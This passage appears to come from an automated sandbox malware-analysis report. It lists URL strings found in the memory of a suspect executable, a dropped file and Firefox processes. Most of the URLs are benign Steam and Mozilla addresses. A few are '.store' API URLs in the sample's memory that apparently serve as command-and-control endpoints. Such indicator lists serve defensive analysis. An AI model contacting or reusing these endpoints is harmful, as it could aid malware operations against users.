Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415866051.00000000017D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=4Xou
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=Zp43hLY1TUHJ&amp
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=nBdvNPPzc0qI&
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 00000015.00000003.1775560172.0000010CA7542000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1774981087.0000010CA7300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775892832.0000010CA7563000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1776148002.0000010CA7583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000015.00000003.2006181406.0000010CA7297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000015.00000003.1978184882.0000010CA9048000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1991742329.0000010CA9CB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1962452330.0000010CAAC1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 00000017.00000002.2650440125.000002324AFEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDBEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2656010478.000001CD08B03000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.21.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1485103879.0000000005E74000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1484877780.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2650440125.000002324AFEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDBEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2656010478.000001CD08B03000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.21.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000015.00000003.2006181406.0000010CA7268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datastudio.google.com/embed/reporting/
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB105D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB1057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1926529208.0000010CB104D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB1057000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarningElem
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB105D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000015.00000003.1927918303.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958967657.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 00000015.00000003.1948934504.0000010CA921F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1817448763.0000010CA921D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: file.exe, 00000000.00000003.1415866051.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dissapoiznw.store:443/api$B
Source: firefox.exe, 00000015.00000003.1775560172.0000010CA7542000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1971255313.0000010CA90E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1774981087.0000010CA7300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1993959570.0000010CA90E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1978137413.0000010CA90E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1899565587.0000010CA9337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775892832.0000010CA7563000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1776148002.0000010CA7583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000015.00000003.1937521236.0000010CA9D5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000015.00000003.1779239585.0000010CA712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1981244253.0000010CA7135000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1877716437.0000010CA7132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1777667783.0000010CA7133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1779014537.0000010CA7110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: file.exe, 00000000.00000003.1397386123.00000000017D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1397386123.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store/
Source: file.exe, 00000000.00000003.1397386123.00000000017D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store/api
Source: file.exe, 00000000.00000003.1397386123.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store:443/api
Source: firefox.exe, 00000015.00000003.1779239585.0000010CA712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1981244253.0000010CA7135000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1877716437.0000010CA7132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1777667783.0000010CA7133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1779014537.0000010CA7110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB104D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000015.00000003.1986003364.0000010CAF547000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDB12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD08813000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000015.00000003.1811643458.0000010CA8E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1810447510.0000010CA8E2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000015.00000003.1811643458.0000010CA8E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1810447510.0000010CA8E2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1811109707.0000010CA8E3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000015.00000003.2006181406.0000010CA7268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com
Source: firefox.exe, 00000015.00000003.1994381035.0000010CA8F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/
Source: firefox.exe, 00000015.00000003.2006181406.0000010CA7268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/
Source: firefox.exe, 00000015.00000003.1986003364.0000010CAF547000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/monitor/collections/changes/changeset?colle
